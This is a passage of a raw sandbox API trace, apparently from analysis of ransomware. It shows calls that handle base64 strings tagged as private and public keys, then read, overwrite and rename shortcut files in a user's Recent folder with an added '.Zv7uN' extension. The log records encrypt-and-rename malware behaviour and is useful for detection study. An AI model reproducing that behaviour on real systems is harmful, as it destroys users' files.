PzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0080.179] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0080.180] GetCurrentThreadId () returned 0xa30 [0080.180] GetCurrentThreadId () returned 0xa30 [0080.180] GetCurrentThreadId () returned 0xa30 [0080.181] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0080.181] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0080.181] GetCurrentThreadId () returned 0xa30 [0080.182] GetCurrentThreadId () returned 0xa30 [0080.182] GetCurrentThreadId () returned 0xa30 [0080.182] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\C5a1Xl8LZSVJ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\c5a1xl8lzsvj.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0080.182] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0080.182] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0080.182] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x20c6 [0080.182] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0080.182] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x20c6, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x20c6, lpOverlapped=0x0) returned 1 [0080.184] CloseHandle (hObject=0x124) returned 1 [0080.185] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\C5a1Xl8LZSVJ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\c5a1xl8lzsvj.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0080.187] WriteFile (in: hFile=0x124, lpBuffer=0x1f90730*, nNumberOfBytesToWrite=0x20c6, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f90730*, lpNumberOfBytesWritten=0x18f978*=0x20c6, lpOverlapped=0x0) returned 1 [0080.189] CloseHandle (hObject=0x124) returned 1 [0080.201] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\C5a1Xl8LZSVJ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\c5a1xl8lzsvj.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\C5a1Xl8LZSVJ.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\c5a1xl8lzsvj.lnk.zv7un")) returned 1 [0080.203] GetCurrentThreadId () returned 0xa30 [0080.203] GetCurrentThreadId () returned 0xa30 [0080.203] GetCurrentThreadId () returned 0xa30 [0080.203] GetCurrentThreadId () returned 0xa30 [0080.203] GetCurrentThreadId () returned 0xa30 [0080.203] GetCurrentThreadId () returned 0xa30 [0080.203] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7a9540, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d7a9540, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d7a9540, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xf4f, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="cc7VJrUJ4rqn A41Oh O.lnk", cAlternateFileName="CC7VJR~1.LNK")) returned 1 [0080.204] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0080.204] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0080.216] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cc7VJrUJ4rqn A41Oh O.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cc7vjruj4rqn a41oh o.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7a9540, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d7a9540, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d7a9540, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xf4f)) returned 1 [0080.216] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cc7VJrUJ4rqn A41Oh O.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cc7vjruj4rqn a41oh o.lnk")) returned 0x20 [0080.328] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cc7VJrUJ4rqn A41Oh O.lnk", dwFileAttributes=0x80) returned 1 [0080.331] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0080.331] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 